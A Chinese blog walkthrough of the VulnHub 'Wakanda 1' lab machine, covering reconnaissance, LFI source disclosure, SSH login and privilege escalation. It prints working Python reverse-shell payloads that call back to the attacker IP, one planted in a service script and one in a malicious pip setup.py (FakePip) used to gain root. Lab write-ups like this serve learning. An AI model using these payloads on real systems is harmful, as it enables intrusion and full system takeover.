wakanda-1-靶机渗透


Yof3ng的个人主页

-对wakanda靶机的渗透之旅

​ 从vulhub上下载靶机后,本打算在vm上搭建,后发现ova导入有点问题,故在virtualbox上搭建成功,我们需要获得flag1.txt,flag2.txt,root.txt 三个文件的信息,将攻击机,靶机均设为桥接网卡模式,因为我的kali是在vm里面。

​ 靶机下载地址:https://www.vulnhub.com/entry/wakanda-1,251/

0x00 渗透过程

1.对靶机的信息收集

攻击机:

自用kali--IP地址:192.168.1.107

kali netdiscover 启动:

​ 那么可以得到靶机 IP :192.168.1.108 ,既然得到了靶机ip地址,那么拿出nmap神器对其进行一波扫描,获得更详细的靶机信息。

nmap -sV 192.168.1.108

​ 由nmap扫描得出的信息,开启了80端口的web服务,然后是3333端口的一个Openssh服务,这里需要做一下笔记,ssh连接是3333端口而不是常规的22端口哦!先去80端口访问一下看看情况:

​ emmm,发现就一个普通页面啥也没有,只有一个看似有用的 Made by@mamadou ???难道是个用户名还是个密码啥的?先做笔记记一下,萌新就是什么都要做笔记,接下来扫一下目录看看:

​ 扫到几个页面,但是貌似SIZE都是0,被CTF各种虐的我还是选择去看看页面里有没有东西。==>转了一圈发现确实是空的,那咋办,难道渗透之旅到此结束?仔细想了几分钟,既然只有一个页面,忘记看源码了,源码如下:

​ 这绿的我发慌的一串注释,不用直觉我猜也是靶机的切入点了,lang参数改变会影响页面的语言显示,猜测可能是 lang参数改变了使用的语言php文件,那么就是和文件相关的漏洞咯!

​ 但是只有这一个页面,应该可以检测一下这个参数是否可以进行本地文件包含(Local File Include),将这唯一的一个页面的完整源码给读下来。利用之前做ctf还算有一点点的经验(参考https://blog.csdn.net/qq_35544379/article/details/78230629),我们可以用 php://filter 这个协议的一些小特性来将源码以base64的形式down下来:

​ 然后base64解码得到如下完整的源码:

<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it
if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}
?>
<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Vibranium market">
    <meta name="author" content="mamadou">
    <title>Vibranium Market</title>
    <link href="bootstrap.css" rel="stylesheet">
    <link href="cover.css" rel="stylesheet"> 
  </head>
  <body class="text-center">
    <div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
      <header class="masthead mb-auto">
        <div class="inner">
          <h3 class="masthead-brand">Vibranium Market</h3>
          <nav class="nav nav-masthead justify-content-center">
            <a class="nav-link active" href="#">Home</a>
            <!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->
          </nav>
        </div>
      </header>
      <main role="main" class="inner cover">
        <h1 class="cover-heading">Coming soon</h1>
        <p class="lead">
          <?php
            if (isset($_GET['lang']))
          {
          echo $message;
          }
          else
          {
            ?>
            Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned!
            <?php
          }
?>
        </p>
        <p class="lead">
          <a href="#" class="btn btn-lg btn-secondary">Learn more</a>
        </p>
      </main>
      <footer class="mastfoot mt-auto">
        <div class="inner">
          <p>Made by<a href="#">@mamadou</a></p>
        </div>
      </footer>
    </div>
</body></html>

​ oh!get到一个password:Niamey4Ever227!!!

​ 到现在,我们收集到了作者的名称 mamadou,开放在3333端口的ssh服务,然后一个password。


2.开始渗透靶机

​ 二话不说,用ssh试试远程登录靶机:

ssh 192.168.1.108 -l mamadou -p 3333

​ 输入Niamey4Ever227!!!作为密码登录,两秒之后,弹出来一个python shell界面?见识短浅见识短浅,试试用python的pty把完全交互式的终端弄出来。

>>>from pty import spawn
>>>spawn("/bin/bash")
mamadou@Wakanda1:~$ 

​ 问题不大,ls看一下目录,看到了我们要找的第一个flag,也就是flag1.txt,然后cat flag1.txt ==> Flag : d86b9ad71ca887f4dd1dac86ba1c4dfc

​ 接下来就是找一下flag2.txt了,到上级目录看到了另外一个用户 devops 的目录,进去看看找到了flag2.txt,但是没有权限,需要以devops的身份打开。

​ 去别的目录逛一逛,果然/tmp目录下是有点东西的,但是只是一个test文件,里面含有一个‘test’字符串,并没有什么不同。

​ 看看跟devops有关系的文件有哪些:

​ 第一个还是仅有的一个就是一个python脚本的样子(忽略后面的setup.py,因为是做完之后写的文章,setup.py是后面我弄进去的文件),看看.antivirus.py内容是啥:

open('/tmp/test','w').write('test')

​ 就一行,和test扯上了关系,往之前/tmp/目录下的test文件写入‘test’字符串。这个python脚本是可写的,我能将shell写入其中并且运行,但是反弹的用户却仍然是mamadou,而不是想要的devops,问题在哪呢?思考很久,查了下antivirus的意思’抗生素’,没啥用。

#.antivirus.py--payload
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('192.168.1.107',7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);

​ 后来经人点拨,恍然大悟,如果这个脚本是会自动运行的,那么就不会反弹mamadou权限的shell了,而是它本身具有的devops权限,而经过查询资料,了解到存放在/src目录下的一般为系统服务类脚本文件,那么它自动运行的假设就显然可以成立了(我还是对有些性质不够了解)。

#用此命令查看.antivirus.py是否自动运行
mamadou@Wakanda1:/srv$ grep -R .antivirus.py / 2>/dev/null

/lib/systemd/system/antivirus.service:ExecStart=/usr/bin/env python /srv/.antivirus.py
#确实在自动运行,查看一下antivirus.service文件
[Unit]
Description=Antivirus
After=network.target
StartLimitIntervalSec=0

[Service]
Type=simple
Restart=always
RestartSec=300
User=devops
ExecStart=/usr/bin/env python /srv/.antivirus.py

[Install]
WantedBy=multi-user.target
#可以看到是每300秒执行一次

​ 那么接下来,写入的shell原封不动,kali攻击机nc监听7777端口,等待.antivirus.py自动运行(一分一秒地等待总是漫长的)。

​ 果不其然,获得了反弹devops权限的shell,那么cat flag2.txt ==>Flag 2 : d8ce56398c88e1b4d9e5f83e64c79098

​ 那么下一步就是拿下root权限,攻入root目录了。


3.攻破root

​ 先看看devops用户权限大概是怎样的, 执行sudo -l命令:

​ 然而,只有一个pip命令是可以不需要root权限就能执行的,试试pip install falsk,没问题。

​ 那么怎样才能通过pip来获取root权限呢?这里用到一个github上的开源脚本Fakepip。这个脚本通过在pip重新安装时执行的setup.py文件中插入shellcode,导致其可通过pip反弹root权限的shell给攻击机。项目地址(https://github.com/0x00-0x00/FakePip.git)

​ 接下来在攻击机上把Fakepip给git下来,然后进入Fakepip目录,将setup.py中的RHOST参数改为攻击机地址:192.168.1.107,然后启动python的简易服务器。

from setuptools import setup
from setuptools.command.install import install
import base64
import os


class CustomInstall(install):
  def run(self):
    install.run(self)
    RHOST = '192.168.1.107'  # change this

    reverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 443; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
    encoded = base64.b64encode(reverse_shell)
    os.system('echo %s|base64 -d|bash' % encoded)


setup(name='FakePip',
      version='0.0.1',
      description='This will exploit a sudoer able to /usr/bin/pip install *',
      url='https://github.com/0x00-0x00/fakepip',
      author='zc00l',
      author_email='[email protected]',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': CustomInstall})

​ 然后在devops靶机上用wget http://192.168.1.107/setup.py 将攻击机上的setup.py下载到本地,攻击机kali开始用nc监听443端口,准备接收即将到来的shell。

​ 在devops靶机上命令pip重装:sudo pip install ./ --upgrade --force-install

​ kali兴奋地一把接到反弹过来的shell:

cd root ,然后cat root.txt:

​ 萌新的渗透到此暂停emmmm。


0x01 小知识


nmap plus

1.特殊扫描方式 ==> nmap -sV/-sP/-sS/sL 其中-sP是用于扫描IP段的

2.详细地扫描目标:

nmap -sV 或者 nmap -p- -A <目标ip>

或者超强力的: nmap -sS -sV -A -p- <目标ip>


python 反弹shell & pip get shell

python 反弹 shell:

python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);"

python构造完全交互式终端 :

 python -c "import pty;pty.spawn('/bin/bash')"

php filter and input --LFI本地文件包含漏洞

参考 https://blog.csdn.net/qq_35544379/article/details/78230629

php://filter,php://input,php://output都是有妙用的哦!


msfvenom -p 生成shell

​ 但在渗透过程中发现,不用msfvenom生成的加密shell也能成功反弹,不过还是要养成好习惯,多用用这种神器提高效率并且准确率。

参考链接 https://www.cnblogs.com/xishaonian/p/6851475.html


linux 中的一些命令与特性

==> su & sudo

可用于切换用户

==> lsattr 是 ls的升级版,就如aptitude 与apt相似一样

==> find / -user root 2>/dev/null 查看用户属性为root的文件

==>ps -aux 查看所有服务 ==>top 查看进程


0x02 总结

​ 渗透一定一定注意信息收集,思维拓展,然后就是扎实的基础!

​ 如果没有那么强的能力,渗透确实有点吃力,但是吃力的过程也在进步,就像不停的被虐的过程,自然自己的等级也在提高,不停地膜大神的文章的同时,自己也会受其影响,作为老腊肉,只能继续学习。

猜你喜欢

转载自blog.csdn.net/qq_40173126/article/details/83176214